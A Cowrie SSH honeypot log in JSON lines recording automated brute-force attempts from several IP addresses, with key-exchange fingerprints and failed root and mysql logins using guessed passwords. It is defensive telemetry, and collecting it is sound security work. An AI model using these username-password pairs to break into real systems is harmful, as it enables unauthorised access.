{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:02.330760Z","src_ip":"20.203.59.187","session":"6b16903d0bbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":45074,"dst_ip":"159.203.135.109","dst_port":22,"session":"24fe5970b6fe","protocol":"ssh","message":"New connection: 193.32.162.151:45074 (159.203.135.109:22) [session: 24fe5970b6fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:02.487799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:02.495830Z","src_ip":"193.32.162.151","session":"24fe5970b6fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:02.637447Z","src_ip":"193.32.162.151","session":"24fe5970b6fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"user","message":"login attempt [mysql/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:02.960984Z","src_ip":"193.32.162.151","session":"24fe5970b6fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r0cknr0ll","message":"login attempt [root/r0cknr0ll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:03.031707Z","src_ip":"20.203.59.187","session":"6b16903d0bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:04.071484Z","src_ip":"193.32.162.151","session":"24fe5970b6fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:04.202254Z","src_ip":"20.203.59.187","session":"6b16903d0bbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":59672,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c66083e8654","protocol":"ssh","message":"New connection: 171.244.37.97:59672 (159.203.135.109:22) [session: 9c66083e8654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:09.140013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:09.145231Z","src_ip":"171.244.37.97","session":"9c66083e8654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:09.394550Z","src_ip":"171.244.37.97","session":"9c66083e8654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"indigo","message":"login attempt [root/indigo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:10.424191Z","src_ip":"171.244.37.97","session":"9c66083e8654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:11.676372Z","src_ip":"171.244.37.97","session":"9c66083e8654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.53.168.23","src_port":60356,"dst_ip":"10.17.0.5","dst_port":22,"session":"57828184f12f","protocol":"ssh","message":"New connection: 163.53.168.23:60356 (10.17.0.5:22) [session: 57828184f12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:12.815888Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":28048,"dst_ip":"10.17.0.5","dst_port":22,"session":"c35ad5509e97","protocol":"ssh","message":"New connection: 190.119.63.98:28048 (10.17.0.5:22) [session: c35ad5509e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:13.475043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:13.480583Z","src_ip":"190.119.63.98","session":"c35ad5509e97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:13.667280Z","src_ip":"190.119.63.98","session":"c35ad5509e97","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:13.895829Z","src_ip":"163.53.168.23","session":"57828184f12f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:13.900541Z","src_ip":"163.53.168.23","session":"57828184f12f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baidu123","message":"login attempt [root/baidu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:14.293598Z","src_ip":"190.119.63.98","session":"c35ad5509e97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERT!@","message":"login attempt [root/QWERT!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:15.399508Z","src_ip":"163.53.168.23","session":"57828184f12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:15.427038Z","src_ip":"190.119.63.98","session":"c35ad5509e97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":47284,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d2c054ab410","protocol":"ssh","message":"New connection: 43.153.56.192:47284 (10.17.0.5:22) [session: 6d2c054ab410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:16.372361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:16.377525Z","src_ip":"43.153.56.192","session":"6d2c054ab410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:16.446840Z","src_ip":"43.153.56.192","session":"6d2c054ab410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"buddy","message":"login attempt [root/buddy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:16.753267Z","src_ip":"43.153.56.192","session":"6d2c054ab410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:17.825326Z","src_ip":"43.153.56.192","session":"6d2c054ab410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":54718,"dst_ip":"10.17.0.5","dst_port":22,"session":"577f1a428fc1","protocol":"ssh","message":"New connection: 103.27.238.114:54718 (10.17.0.5:22) [session: 577f1a428fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:17.894235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:17.899532Z","src_ip":"103.27.238.114","session":"577f1a428fc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:18.173971Z","src_ip":"103.27.238.114","session":"577f1a428fc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kifj9n7bfu","message":"login attempt [root/kifj9n7bfu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:18.999060Z","src_ip":"103.27.238.114","session":"577f1a428fc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":52234,"dst_ip":"10.17.0.5","dst_port":22,"session":"48dddc1ee94d","protocol":"ssh","message":"New connection: 43.173.83.154:52234 (10.17.0.5:22) [session: 48dddc1ee94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:19.310099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:19.315621Z","src_ip":"43.173.83.154","session":"48dddc1ee94d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:19.391726Z","src_ip":"43.173.83.154","session":"48dddc1ee94d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!23","message":"login attempt [root/Root!23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:19.694165Z","src_ip":"43.173.83.154","session":"48dddc1ee94d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:20.281765Z","src_ip":"103.27.238.114","session":"577f1a428fc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:20.765018Z","src_ip":"43.173.83.154","session":"48dddc1ee94d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":55718,"dst_ip":"10.17.0.5","dst_port":22,"session":"7883ba7cb14a","protocol":"ssh","message":"New connection: 43.153.50.197:55718 (10.17.0.5:22) [session: 7883ba7cb14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:23.490499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:23.495271Z","src_ip":"43.153.50.197","session":"7883ba7cb14a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:23.563748Z","src_ip":"43.153.50.197","session":"7883ba7cb14a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luca123","message":"login attempt [root/luca123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:23.874676Z","src_ip":"43.153.50.197","session":"7883ba7cb14a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:02:24.948758Z","src_ip":"43.153.50.197","session":"7883ba7cb14a","protocol":"ssh"}
